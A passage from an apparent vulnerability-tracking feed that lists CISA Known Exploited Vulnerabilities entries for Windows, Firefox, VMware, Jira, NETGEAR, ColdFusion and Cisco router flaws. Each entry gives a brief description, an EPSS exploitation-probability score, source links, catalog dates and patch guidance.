A privilege escalation vulnerability exists when Windows Error Reporting manager improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1315&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1315: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1315&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows AppX Deployment Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1253
Microsoft Windows AppX Deployment Server Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when the Windows AppX Deployment Server improperly handles junctions.
EPSS 11.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1253&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1253&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1132
Microsoft Win32k Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory.
EPSS 9.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1132&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1132: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1132&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1129
Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1129&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1129: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1129&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Task Scheduler Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1069
Microsoft Task Scheduler Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists in the way the Task Scheduler Service validates certain file operations.
EPSS 6.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1069&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1069: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1069&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1064
Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1064&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1064: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1064&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0841
Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0841&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0841: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0841&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0543
Microsoft Windows Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0543&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0543&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8120
Microsoft Win32k Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory.
EPSS 73.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8120&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8120&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Transaction Manager Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2017-0101
Microsoft Windows Transaction Manager Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when the Windows Transaction Manager improperly handles objects in memory.
EPSS 57.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0101&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0101: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0101&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2016-3309
Microsoft Windows Kernel Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
EPSS 20.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3309&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3309: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3309&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-2546
Microsoft Win32k Memory Corruption Vulnerability (Mar 15, 2022).
The kernel-mode driver in Microsoft Windows OS and Server allows local users to gain privileges via a crafted application.
EPSS 10.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2546&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2546: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2546&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-26486
Mozilla Firefox Use-After-Free Vulnerability (Mar 7, 2022).
Mozilla Firefox contains a use-after-free vulnerability in WebGPU IPC Framework which can be exploited to perform arbitrary code execution.
EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26486&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26486: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26486&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Mar 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-26485
Mozilla Firefox Use-After-Free Vulnerability (Mar 7, 2022).
Mozilla Firefox contains a use-after-free vulnerability in XSLT parameter processing which can be exploited to perform arbitrary code execution.
EPSS 14.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26485&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26485: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26485&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Mar 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server and Cloud Foundation Server Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2021-21973
VMware vCenter Server and Cloud Foundation Server Side Request Forgery (SSRF) Vulnerability (Mar 7, 2022).
VMware vCenter Server and Cloud Foundation Server contain a SSRF vulnerability due to improper validation of URLs in a vCenter Server plugin. This allows for information disclosure.
EPSS 88.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21973&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21973: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21973&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Mar 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Pulse Connect Secure Code Injection Vulnerability
https://kevwire.com/record/CVE-2020-8218
Pulse Connect Secure Code Injection Vulnerability (Mar 7, 2022).
A code injection vulnerability exists in Pulse Connect Secure that allows an attacker to crafted a URI to perform an arbitrary code execution via the admin web interface.
EPSS 32.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8218&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8218: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8218&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Jira Server and Data Center Server-Side Template Injection Vulnerability
https://kevwire.com/record/CVE-2019-11581
Atlassian Jira Server and Data Center Server-Side Template Injection Vulnerability (Mar 7, 2022).
Atlassian Jira Server and Data Center contain a server-side template injection vulnerability which can allow for remote code execution.
EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11581&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11581: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11581&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NETGEAR DGN2200 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6077
NETGEAR DGN2200 Remote Code Execution Vulnerability (Mar 7, 2022).
NETGEAR DGN2200 wireless routers contain a vulnerability that allows for remote code execution.
EPSS 68.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6077&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6077: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6077&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NETGEAR Multiple Routers Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-6277
NETGEAR Multiple Routers Remote Code Execution Vulnerability (Mar 7, 2022).
NETGEAR confirmed multiple routers allow unauthenticated web pages to pass form input directly to the command-line interface, permitting remote code execution.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6277&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-6277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6277&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2013-0631
Adobe ColdFusion Information Disclosure Vulnerability (Mar 7, 2022).
Adobe Coldfusion contains an unspecified vulnerability, which could result in information disclosure from a compromised server.
EPSS 66.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0631&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0631: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0631&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2013-0629
Adobe ColdFusion Directory Traversal Vulnerability (Mar 7, 2022).
Adobe Coldfusion contains a directory traversal vulnerability, which could permit an unauthorized user access to restricted directories.
EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0629&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0629: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0629&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2013-0625
Adobe ColdFusion Authentication Bypass Vulnerability (Mar 7, 2022).
Adobe Coldfusion contains an authentication bypass vulnerability, which could result in an unauthorized user gaining administrative access.
EPSS 93.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0625&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0625: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0625&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe BlazeDS Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2009-3960
Adobe BlazeDS Information Disclosure Vulnerability (Mar 7, 2022).
Adobe BlazeDS, which is utilized in LifeCycle and Coldfusion, contains a vulnerability that allows for information disclosure.
EPSS 90.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3960&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-3960: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3960&date=2026-10-25
CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-20708
Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022).
A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).
EPSS 14.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20708&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-20708: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20708&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-20703
Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022).
A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).
EPSS 9.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20703&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-20703: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20703&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-20701
Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022).
A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).
EPSS 9.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20701&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-20701: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20701&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-20700
Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022).
A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).
EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20700&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-20700: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20700&date=2026-10-25
